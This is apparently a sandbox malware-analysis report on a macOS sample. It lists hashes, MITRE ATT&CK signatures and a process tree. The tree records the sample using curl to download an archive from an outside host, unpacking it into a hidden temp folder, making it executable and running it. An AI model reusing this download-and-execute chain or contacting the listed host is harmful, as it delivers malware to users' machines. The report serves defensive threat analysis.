Overview

overview

10

Static

static

10

Macos-Malw...0d9d0b

macos-10.15-amd64

7

Macos-Malw...e6cad8

macos-10.15-amd64

7

Macos-Malw...858d9a

macos-10.15-amd64

1

Macos-Malw...8a248d

macos-10.15-amd64

7

Macos-Malw...a2394d

macos-10.15-amd64

1

Macos-Malw...db8b08

macos-10.15-amd64

7

Macos-Malw...1dd006

macos-10.15-amd64

7

Macos-Malw...4b1694

macos-10.15-amd64

1

Macos-Malw...cba061

macos-10.15-amd64

7

Macos-Malw...0ac417

macos-10.15-amd64

1

Macos-Malw...623edb

macos-10.15-amd64

1

Macos-Malw...715108

macos-10.15-amd64

1

Macos-Malw...0f989b

macos-10.15-amd64

1

Macos-Malw...5953fb

macos-10.15-amd64

7

Macos-Malw...997f4e

macos-10.15-amd64

1

Macos-Malw...c42693

macos-10.15-amd64

1

Macos-Malw...178f1a

macos-10.15-amd64

7

Macos-Malw...bb3f2a

macos-10.15-amd64

7

Macos-Malw...cfc69b

macos-10.15-amd64

7

Macos-Malw...53d096

macos-10.15-amd64

7

Macos-Malw...c2eb29

macos-10.15-amd64

7

Macos-Malw...684200

macos-10.15-amd64

1

Macos-Malw...e2020a

macos-10.15-amd64

7

Macos-Malw...e86dc4

macos-10.15-amd64

1

Macos-Malw...884d52

macos-10.15-amd64

7

Macos-Malw...32440c

macos-10.15-amd64

7

Macos-Malw...11b661

macos-10.15-amd64

7

Macos-Malw...40d4f3

macos-10.15-amd64

1

Macos-Malw...c98e38

macos-10.15-amd64

1

Macos-Malw...bf2f25

macos-10.15-amd64

1

Macos-Malw...7ca34f

macos-10.15-amd64

1

Macos-Malw...f5704d

macos-10.15-amd64

1

Analysis

  • max time kernel
    7s
  • max time network
    106s
  • platform
    macos-10.15_amd64
  • resource
    macos-20241101-en
  • resource tags

    arch:amd64arch:i386image:macos-20241101-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    17/02/2025, 18:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061

  • Size

    48KB

  • MD5

    ecd1f29667a6087e752fe16b1b776494

  • SHA1

    e85686e7f9038228efc3fc55c4d39edf5f82506a

  • SHA256

    0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061

  • SHA512

    1e6bb4daf0dc8962fd9bf8775bbbba75c802e0a90bd0b6b8f4f73fb410e2389d07f78ede3ffaeaca9a31ff5f4a1653ce18168c4d572c4ec55e03dda51ea315c7

  • SSDEEP

    768:PtnLm/quXoMJWz1tO1JgcJyjf7KcflZyU1v7oVy89hrO8r3mJc:PPMc1tO1JBJyjGcfFky8rmJ

Score
7/10
defense_evasionexecutionexfiltration

Malware Config

Signatures

  • Exfiltration Over Alternative Protocol 1 TTPs 1 IoCs

    Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

    exfiltration
  • File Permission 1 TTPs

    Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.

    defense_evasion
  • Resource Forking 1 TTPs 1 IoCs

    Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

    defense_evasion
  • Command and Scripting Interpreter 1 TTPs

    Adversaries may abuse Unix shell commands and scripts for execution.

    execution

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061\""
    1⤵
      PID:502
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061\""
      1⤵
        PID:502
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061
        1⤵
          PID:502
          • /bin/zsh
            /bin/zsh -c /Users/run/Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061
            2⤵
              PID:503
            • /Users/run/Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061
              /Users/run/Macos-Malware-Samples-main/0941ef4c37d983720934aae64b03511d5707f7e77d4ed7f9d31cfd8e8ecba061
              2⤵
                PID:503
                • /usr/bin/python
                  /usr/bin/python -
                  3⤵
                    PID:504
                  • /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
                    /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -
                    3⤵
                      PID:504
                      • /usr/bin/curl
                        /usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844745" -o /private/tmp/.mmstmp//stmp.tar.gz
                        4⤵
                          PID:505
                  • /usr/libexec/xpcproxy
                    xpcproxy com.apple.sysmond
                    1⤵
                      PID:506
                    • /usr/libexec/sysmond
                      /usr/libexec/sysmond
                      1⤵
                        PID:506
                      • /bin/sh
                        sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
                        1⤵
                          PID:507
                        • /bin/bash
                          sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
                          1⤵
                            PID:507
                          • /usr/bin/tar
                            /usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/
                            1⤵
                              PID:507
                            • /bin/sh
                              sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                              1⤵
                                PID:508
                              • /bin/bash
                                sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                1⤵
                                  PID:508
                                • /bin/chmod
                                  /bin/chmod +x /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                  1⤵
                                    PID:508
                                  • /bin/sh
                                    sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                    1⤵
                                      PID:509
                                    • /bin/bash
                                      sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                      1⤵
                                        PID:509
                                      • /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                        /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                        1⤵
                                          PID:509

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads